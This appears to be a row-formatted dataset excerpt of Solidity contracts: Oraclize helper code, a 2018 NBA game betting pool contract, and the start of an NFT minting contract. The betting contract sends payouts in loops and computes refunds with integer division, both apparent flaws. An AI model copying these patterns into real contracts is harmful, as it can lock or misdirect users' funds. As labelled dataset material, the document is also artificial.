function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
enum TeamType { A, B, None }
TeamType public winningTeam = TeamType.None;
string[NUM_TEAMS] public TEAM_NAMES = ["Houston Rockets", "Oklahoma City Thunder"];
string public searchString = "Rockets vs Thunder March 6, 2018 Winner";
uint public constant BETTING_OPENS = 1520125200;
uint public constant BETTING_CLOSES = 1520384400;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = BETTING_CLOSES + 172700;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", searchString);
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.A || TeamType(teamIdx) == TeamType.B);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 2,479 |
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC721Batch {
function isOwnerOf( address account, uint[] calldata tokenIds ) external view returns( bool );
function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external;
function walletOfOwner( address account ) external view returns( uint[] memory );
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract ERC721T is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
mapping(uint => address) internal _tokenApprovals;
mapping(address => mapping(address => bool)) internal _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function balanceOf(address owner) public view virtual override returns( uint );
function name() external view virtual override returns (string memory) {
return _name;
}
function ownerOf(uint tokenId) public view virtual override returns (address);
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint tokenId) external virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function setApprovalForAll(address operator, bool approved) external virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function transferFrom(
address from,
address to,
uint tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint tokenId
) external virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _approve(address to, uint tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _exists(uint tokenId) internal view virtual returns (bool);
function _isApprovedOrOwner(address spender, uint tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeTransfer(
address from,
address to,
uint tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _transfer(address from, address to, uint tokenId) internal virtual;
}
pragma solidity ^0.8.0;
abstract contract ERC721EnumerableT is ERC721T, IERC721Batch, IERC721Enumerable {
function balanceOf( address owner ) public view virtual override( IERC721, ERC721T ) returns( uint );
function isOwnerOf( address account, uint[] calldata tokenIds ) external view virtual override returns( bool );
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721T) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint index) public view virtual override returns( uint tokenId );
function tokenByIndex(uint index) external view virtual override returns (uint) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return index;
}
function totalSupply() public view virtual override returns( uint );
function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external override{
for(uint i; i < tokenIds.length; ++i ){
safeTransferFrom( from, to, tokenIds[i], data );
}
}
function walletOfOwner( address account ) external view virtual override returns( uint[] memory ){
uint quantity = balanceOf( account );
uint[] memory wallet = new uint[]( quantity );
for( uint i; i < quantity; ++i ){
wallet[i] = tokenOfOwnerByIndex( account, i );
}
return wallet;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract Delegated is Ownable {
mapping(address => bool) internal _delegates;
constructor(){
_delegates[owner()] = true;
}
modifier onlyDelegates {
require(_delegates[msg.sender], "Invalid delegate" );
_;
}
function isDelegate( address addr ) external view onlyOwner returns ( bool ){
return _delegates[addr];
}
function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{
_delegates[addr] = isDelegate_;
}
function transferOwnership(address newOwner) public virtual override onlyOwner {
_delegates[newOwner] = true;
super.transferOwnership( newOwner );
}
}
pragma solidity ^0.8.0;
contract Nanoko is ERC721EnumerableT, Delegated, ReentrancyGuard {
using Strings for uint;
bool public revealed = false;
string public notRevealedUri = "";
uint public MAX_SUPPLY = 7777;
uint public PRICE = 0.1 ether;
uint public MAX_QTY = 5;
address[] public nanokos;
bool public isMintActive = false;
bool public isWhitelistMintActive = false;
mapping(address => uint) public whitelistCount;
mapping(address => uint) private _balances;
mapping(address => uint) public mintCount;
mapping(address => bool) public isOG;
string private _tokenURIPrefix;
string private _tokenURISuffix = ".json";
